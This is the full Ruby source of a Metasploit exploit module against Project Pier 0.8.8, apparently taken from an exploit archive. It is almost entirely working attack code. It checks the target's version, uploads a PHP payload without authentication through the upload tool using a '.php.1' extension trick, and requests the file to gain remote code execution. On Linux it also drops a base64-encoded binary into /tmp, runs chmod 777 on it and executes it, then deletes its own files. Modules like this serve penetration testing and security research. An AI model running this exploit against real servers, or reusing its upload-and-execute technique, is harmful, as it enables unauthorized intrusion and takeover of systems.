Project Pier – Arbitrary File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Project Pier Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Project Pier. The application's uploading tool does not require any authentication, which allows a malicious user to upload an arbitrary file onto the web server, and then cause remote code execution by simply requesting it. This module is known to work against Apache servers due to the way it handles an extension name, but the vulnerability may not be exploitable on others. }, 'License' => MSF_LICENSE, 'Author' => [ 'BlackHawk', 'sinn3r' ], 'References' => [ ['OSVDB', '85881'], ['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html'] ], 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'Arch' => ARCH_CMD, 'Privileged' => false, 'DisclosureDate' => "Oct 8 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/']) ], self.class) end def check target_uri.path << '/' if target_uri.path[-1,1] != '/' base = File.dirname("#{target_uri.path}.") res = send_request_cgi( { 'method' => 'GET', 'uri' => "#{base}/index.php", 'vars_get' => { 'c' => 'access', 'a' => 'login' } }) if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def get_write_exec_payload(fname, data) p = Rex::Text.encode_base64(generate_payload_exe) php = %Q| <?php $f = fopen("#{fname}", "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); exec("chmod 777 #{fname}"); exec("#{fname}"); ?> | php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ') return php end def on_new_session(cli) if cli.type == "meterpreter" cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") end @clean_files.each do |f| print_debug("#{@peer} - Removing: #{f}") begin if cli.type == 'meterpreter' cli.fs.file.rm(f) else cli.shell_command_token("rm #{f}") end print_debug("File removed: #{f}") rescue ::Exception => e print_error("#{@peer} - Unable to remove #{f}: #{e.message}") end end end def upload_php(base, fname, php_payload, folder_name) data = Rex::MIME::Message.new data.add_part(folder_name, nil, nil, 'form-data; name="folder"') data.add_part(php_payload, nil, nil, "form-data; name=file; filename=\"#{fname}\"") data.add_part('', nil, nil, 'form-data; name="part"') data.add_part('Submit', nil, nil, 'form-data; name="submit"') post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}/tools/upload_file.php", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) return res.body if res end def exec_php(base, body) # Body example: # 0 ./upload/test/test.txt-0001 uri = body.scan(/(\/.+$)/).flatten[0] @clean_files << File.basename(uri) res = send_request_raw({'uri' => "#{base}/tools#{uri}"}) if res and res.code == 404 print_error("#{@peer} - The upload most likely failed") return end handler end def exploit @peer = "#{rhost}:#{rport}" target_uri.path << '/' if target_uri.path[-1,1] != '/' base = File.dirname("#{target_uri.path}.") folder_name = Rex::Text.rand_text_alpha(4) php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1" @clean_files = [] case target['Platform'] when 'php' p = "<?php #{payload.encoded} ?>" when 'linux' bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin" @clean_files << bin_name bin = generate_payload_exe p = get_write_exec_payload("/tmp/#{bin_name}", bin) end print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...") res = upload_php(base, php_fname, p, folder_name) if not res print_error("#{@peer} - No response from server") return end print_status("#{@peer} - Executing '#{php_fname}'...") exec_php(base, res) end end |